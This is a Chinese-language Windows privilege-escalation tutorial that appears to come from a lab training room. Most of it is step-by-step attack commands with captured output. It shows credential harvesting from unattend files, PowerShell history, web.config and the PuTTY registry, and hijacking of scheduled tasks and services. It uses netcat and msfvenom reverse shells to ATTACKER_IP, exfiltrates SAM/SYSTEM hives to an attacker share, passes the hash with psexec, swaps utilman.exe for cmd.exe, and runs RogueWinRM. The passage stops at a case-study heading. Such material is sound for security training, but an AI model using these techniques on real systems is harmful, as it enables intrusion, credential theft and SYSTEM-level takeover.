
Windows权限提升
1.Windows权限提升
Administrators | 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。 |
Standard Users | 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或重要的更改,并且仅限于他们的文件。 |
内置账户:
SYSTEM / LocalSystem | 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,并且具有比管理员更高的权限。 |
Local Service | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。 |
Network Service | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。 |
2.从常见地点收集密码
1.无人值守的 Windows 安装
在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,您可能会遇到凭据:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
2.Powershell 历史
每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户直接在 Powershell 命令行中运行包含密码的命令,则稍后可以在 cmd.exe 提示符下使用以下命令来检索该密码:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
3.保存的 Windows 凭据
Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:
cmdkey /list
虽然您看不到实际的密码,但如果您发现任何值得尝试的凭据,您可以将它们与 runas 命令和 /savecred 选项一起使用,如下所示。
runas /savecred /user:admin cmd.exe
4.IIS 配置
Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。 IIS 上网站的配置存储在名为 web.config 的文件中,并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
这是在文件上查找数据库连接字符串的快速方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
5.从软件检索凭证:PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。 要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
3.其他获取凭证的方法
1.计划任务
查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。 可以使用不带任何选项的 schtasks 命令从命令行列出计划任务。要检索有关任何服务的详细信息,您可以使用如下命令:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
您将获得有关该任务的大量信息,但对我们来说重要的是”Task to Run”参数,该参数指示计划任务执行的内容,以及 “Run As User”参数,该参数显示将使用的用户执行任务。 如果我们当前的用户可以修改或覆盖”Task to Run” 可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用 icacls:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
从结果中可以看出,BUILTIN\Users 组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。为了方便起见,nc64.exe 可以在 C:\tools 中找到。让我们更改 bat 文件以生成反向 shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
然后,我们在攻击者机器上启动一个侦听器,该侦听器位于我们在反向 shell 上指示的同一端口上:
nc -lvp 4444
下次运行计划任务时,您应该会收到具有taskusr1权限的反向shell。虽然您可能无法在实际场景中启动任务,而必须等待计划任务触发,但我们为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行该任务:C:\> schtasks /run /tn vulntask
您将按预期收到具有taskusr1权限的反向shell:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\taskusr1
2.AlwaysInstallElevated
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们生成一个以管理员权限运行的恶意 MSI 文件。
注意:AlwaysInstallElevated 方法在此房间的计算机上不起作用,它仅供参考。 此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
为了能够利用此漏洞,两者都应该设置。否则,利用将是不可能的。如果设置了这些,您可以使用 msfvenom 生成恶意 .msi 文件,如下所示:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
由于这是一个反向 shell,您还应该运行相应配置的 Metasploit 处理程序模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
4.滥用服务错误配置
1.Windows 服务
Windows 服务由服务控制管理器 (SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。
Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每个服务还指定该服务将在其下运行的用户帐户。
为了更好地理解服务的结构,让我们使用 sc qc 命令检查 apphostsvc 服务配置:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
在这里我们可以看到关联的可执行文件是通过 BINARY_PATH_NAME 参数指定的,用于运行服务的帐户显示在 SERVICE_START_NAME 参数上。
服务具有自主访问控制列表 (DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限。 DACL 可以从 Process Hacker 中看到(可以在您的计算机桌面上找到):

所有服务配置都存储在注册表中的 HKLM\SYSTEM\CurrentControlSet\Services

系统中的每个服务都存在一个子项。同样,我们可以在 ImagePath 值上看到关联的可执行文件,并在 ObjectName 值上看到用于启动服务的帐户。如果已为该服务配置了 DACL,它将存储在名为 Security 的子项中。正如您现在已经猜到的,默认情况下只有管理员可以修改此类注册表项。
2.服务可执行文件的不安全权限
如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。 为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞。首先,我们将使用 sc 查询服务配置:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
我们可以看到,漏洞软件安装的服务以 svcuser1 身份运行,与该服务关联的可执行文件位于 C:\Progra~2\System~1\WService.exe。然后我们继续检查可执行文件的权限:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
这里有一些有趣的事情。 Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,并且该服务将使用配置的用户帐户的权限执行它。 让我们使用 msfvenom 生成一个 exe-service 负载并通过 python Web 服务器提供它:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
然后我们可以使用以下命令从 Powershell 中提取有效负载:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
一旦有效负载位于 Windows 服务器中,我们就继续用有效负载替换服务可执行文件。由于我们需要另一个用户来执行我们的有效负载,因此我们还希望向Everyone组授予完全权限:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
我们在攻击者机器上启动一个反向侦听器:
user@attackerpc$ nc -lvp 4445
最后,重新启动服务。虽然在正常情况下,您可能需要等待服务重新启动,但您已被分配了自行重新启动服务的权限,以节省一些时间。从 cmd.exe 命令提示符使用以下命令:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
注意:PowerShell 将 sc 作为 Set-Content 的别名,因此您需要使用 sc.exe 才能以这种方式使用 PowerShell 控制服务。 结果,您将获得具有 svcusr1 权限的反向 shell:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr1
3.未加引号的服务路径
当我们无法像以前一样直接写入服务可执行文件时,仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。 使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会出现非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径以解决命令中的空格问题。 作为示例,让我们看一下两个服务之间的区别(这些服务仅用作示例,可能在您的计算机中不可用)。第一个服务将使用正确的引用,以便 SCM 毫无疑问地知道它必须执行
“C:\Program Files\RealVNC\VNC Server\vncserver.exe”指向的二进制文件,后跟给定的参数:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
请记住:PowerShell 将“sc”作为“Set-Content”的别名,因此,如果您处于 PowerShell 提示符中,则需要使用“sc.exe”来控制服务。 现在让我们看看另一项没有正确报价的服务:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
当 SCM 尝试执行关联的二进制文件时,就会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格,因此该命令变得不明确,并且 SCM 不知道您正在尝试执行以下哪一个:
Command | Argument 1 | Argument 2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这与命令提示符如何解析命令有关。通常,当您发送命令时,空格将用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着未加引号的命令的“正确”解释是执行 C:\MyPrograms\Disk.exe 并将其余部分作为参数。 SCM 没有像它可能应该发生的那样失败,而是尝试帮助用户并开始按照表中所示的顺序搜索每个二进制文件:
- 首先,搜索C:\MyPrograms\Disk.exe。如果存在,该服务将运行此可执行文件。
- 如果后者不存在,它将搜索 C:\MyPrograms\Disk Sorter.exe。如果存在,该服务将运行此可执行文件。
- 如果后者不存在,它将搜索 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe。此选项预计会成功,并且通常会在默认安装中运行。
从这个行为来看,问题就显而易见了。如果攻击者创建了在预期服务可执行文件之前搜索的任何可执行文件,他们就可以强制服务运行任意可执行文件。 虽然这听起来微不足道,但默认情况下,大多数服务可执行文件将安装在 C:\Program Files 或 C:\Program Files (x86) 下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则也有例外: – 某些安装程序更改已安装文件夹的权限,使服务容易受到攻击。 – 管理员可能决定将服务二进制文件安装在非默认路径中。如果这样的路径是全局可写的,则该漏洞可以被利用。 在我们的例子中,管理员将磁盘排序器二进制文件安装在 c:\MyPrograms 下。默认情况下,它继承 C:\ 目录的权限,允许任何用户在其中创建文件和文件夹。我们可以使用 icacls 来检查这一点:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
BUILTIN\Users组具有AD和WD权限,允许用户分别创建子目录和文件。 使用 msfvenom 创建 exe-service Payload 并将其传输到目标主机的过程与以前相同,因此请像以前一样创建以下 Payload 并将其上传到服务器。我们还将启动一个侦听器来接收反向 shell 执行时的情况:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
user@attackerpc$ nc -lvp 4446
一旦有效负载进入服务器,请将其移动到可能发生劫持的任何位置。在这种情况下,我们将把有效负载移动到 C:\MyPrograms\Disk.exe。我们还将授予每个人对该文件的完全权限,以确保该服务可以执行该文件:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
服务重新启动后,您的有效负载应该执行:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
结果,您将获得具有 svcusr2 权限的反向 shell:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr2
4.不安全的服务权限
如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。 要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的 Accesschk。为了您的方便,可以在 C:\tools 中获取副本。检查 thmservice 服务 DACL 的命令是:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
在这里我们可以看到BUILTIN\Users组具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置服务。 在更改服务之前,让我们构建另一个 exe-service 反向 shell,并在攻击者的计算机上启动它的侦听器:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
user@attackerpc$ nc -lvp 4447
然后,我们将反向 shell 可执行文件传输到目标计算机并将其存储在 C:\Users\thm-unpriv\rev-svc3.exe 中。请随意使用 wget 传输您的可执行文件并将其移动到所需的位置。请记住授予每个人执行您的有效负载的权限:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem,因为它是可用的最高特权帐户。要触发我们的有效负载,剩下的就是重新启动服务:
C:\> sc stop THMService
C:\> sc start THMService
我们将在攻击者的机器上收到一个具有系统权限的 shell:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM
5.滥用危险的特权
1.Windows 权限
权限是帐户执行特定系统相关任务所拥有的权利。这些任务可以像关闭计算机的权限一样简单,也可以像绕过某些基于 DACL 的访问控制的权限一样简单。 每个用户都有一组分配的权限,可以使用以下命令进行检查:whoami /priv
此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的权限才有意义。您可以在 Priv2Admin Github 项目上找到可利用权限的完整列表。 虽然我们不会逐一查看,但我们将展示如何滥用您可以找到的一些最常见的特权。
2.SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何 DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。 有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。
该帐户属于“Backup Operators”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台:
进入命令提示符后,我们可以使用以下命令检查我们的权限:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击者计算机。对于 SMB,我们可以使用 impacket 的 smbserver.py 在 AttackBox 的当前目录中启动一个带有网络共享的简单 SMB 服务器:
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
这将创建一个名为 public 的共享,指向共享目录,这需要当前 Windows 会话的用户名和密码。之后,我们可以在 Windows 机器中使用复制命令将这两个文件传输到 AttackBox:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
并使用 impacket 检索用户的密码哈希值:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
我们终于可以使用管理员的哈希来执行哈希传递攻击并获得具有系统权限的目标计算机的访问权限:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
3.SeTakeOwnership
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了多种可能性,例如,我们可以搜索作为 SYSTEM 运行的服务并获取所有权服务的可执行文件。然而,对于这项任务,我们将采取不同的路线。
要获得 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台:
进入命令提示符后,我们可以使用以下命令检查我们的权限:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
这次我们将滥用 utilman.exe 来升级权限。 Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供“轻松访问”选项:

由于 Utilman 是以 SYSTEM 权限运行的,因此如果我们将原始二进制文件替换为我们喜欢的任何有效负载,我们将有效地获得 SYSTEM 权限。由于我们可以拥有任何文件的所有权,因此替换它是微不足道的。 要替换 utilman,我们将首先使用以下命令获取它的所有权:
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
请注意,成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,您可以为自己分配所需的任何权限。要为您的用户授予 utilman.exe 的完全权限,您可以使用以下命令:
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
之后,我们将用 cmd.exe 的副本替换 utilman.exe:
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
要触发 utilman,我们将从开始按钮锁定屏幕:

最后,继续单击“轻松访问”按钮,该按钮将以系统权限运行 utilman.exe。由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符:

4.SeImpersonate / SeAssignPrimaryToken
这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。 当您考虑 FTP 服务器的工作原理时,就很容易理解模拟。 FTP 服务器必须限制用户只能访问他们应该被允许查看的文件。 假设我们有一个使用用户 ftp 运行的 FTP 服务。在没有模拟的情况下,如果用户 Ann 登录 FTP 服务器并尝试访问她的文件,FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问它们:

使用 ftp 令牌不是最好的主意有几个原因: – 为了正确提供文件,ftp 用户需要可以访问它们。在上面的示例中,FTP 服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户 ftp。这增加了复杂性,因为我们必须为每个提供的文件/目录手动配置特定权限。 – 对于操作系统,所有文件均由用户 ftp 访问,与当前登录 FTP 服务的用户无关。这使得无法将授权委托给操作系统;因此,FTP服务必须实现它。 – 如果 FTP 服务在某个时刻遭到破坏,攻击者将立即获得对 ftp 用户有权访问的所有文件夹的访问权限。 另一方面,如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,则所有这些都会稍微简化,因为 FTP 服务可以临时获取登录用户的访问令牌,并使用它来执行其上的任何任务。代表:

现在,如果用户 Ann 登录到 FTP 服务,并且考虑到 ftp 用户具有模拟权限,则它可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件不需要以任何方式提供对用户 ftp 的访问,并且操作系统会处理授权。由于 FTP 服务正在冒充 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件。 作为攻击者,如果我们设法控制具有 SeImpersonate 或 SeAssignPrimaryToken 权限的进程,我们就可以模拟连接该进程并对其进行身份验证的任何用户。 在Windows系统中,你会发现LOCAL SERVICE和NETWORK SERVICE ACCOUNTS已经拥有这样的权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。 Internet 信息服务 (IIS) 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户。 要使用此类帐户提升权限,攻击者需要满足以下条件: 1. 生成一个进程,以便用户可以连接该进程并对其进行身份验证,以进行模拟。 2.找到一种方法来强制特权用户连接并验证生成的恶意进程。 我们将使用 RogueWinRM 漏洞来实现这两个条件。 首先,假设我们已经破坏了在 IIS 上运行的网站,并且我们在以下地址上植入了 Web shell:http://MACHINE_IP/ 我们可以使用 Web shell 检查受感染帐户的分配权限并确认我们拥有这项任务的两项重要特权:

要使用RogueWinRM,我们首先需要将漏洞利用程序上传到目标机器。为了您的方便,这已经完成,您可以在 C:\tools\ 文件夹中找到该漏洞。 RogueWinRM 漏洞利用是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用系统权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台以通过网络远程使用的端口。可以将其想象为 SSH,但使用 Powershell。 如果由于某种原因,WinRM 服务没有在受害服务器上运行,则攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接用户(即SYSTEM)执行任何命令。 在运行漏洞之前,我们将启动一个 netcat 侦听器以在攻击者的计算机上接收反向 shell:user@attackerpc$ nc -lvp 4442
然后,使用我们的 Web shell 使用以下命令触发 RogueWinRM 漏洞利用:c:\tools\RogueWinRM\RogueWinRM.exe -p “C:\tools\nc64.exe” -a “-e cmd.exe ATTACKER_IP 4442”

注意:该漏洞可能需要长达 2 分钟才能发挥作用,因此您的浏览器可能会出现一段时间无响应。如果您多次运行漏洞利用程序,就会发生这种情况,因为它必须等待 BITS 服务停止才能再次启动。 BITS服务将在启动2分钟后自动停止。 -p 参数指定漏洞利用程序运行的可执行文件,在本例中为 nc64.exe。 -a 参数用于将参数传递给可执行文件。由于我们希望 nc64 针对攻击者计算机建立反向 shell,因此传递给 netcat 的参数将为 -e cmd.exe ATTACKER_IP 4442。 如果一切设置正确,您应该会得到一个具有 SYSTEM 权限的 shell:
user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
nt authority\system
6.滥用易受攻击的软件
1.未打补丁的软件
目标系统上安装的软件可以提供各种权限升级机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用 wmic 工具列出目标系统上安装的软件及其版本。下面的命令将转储它可以在已安装的软件上收集的信息(可能需要大约一分钟才能完成):wmic product get name,version,vendor
请记住,wmic 产品命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。检查桌面快捷方式、可用服务或任何表明存在可能易受攻击的其他软件的痕迹始终是值得的。 一旦我们收集了产品版本信息,我们就可以随时在exploit-db、packetstorm或普通的旧Google等网站上在线搜索已安装软件的现有漏洞。 使用 wmic 和 Google,您能在任何已安装的产品上找到已知漏洞吗?
2.案例研究:Druva inSync 6.6.3
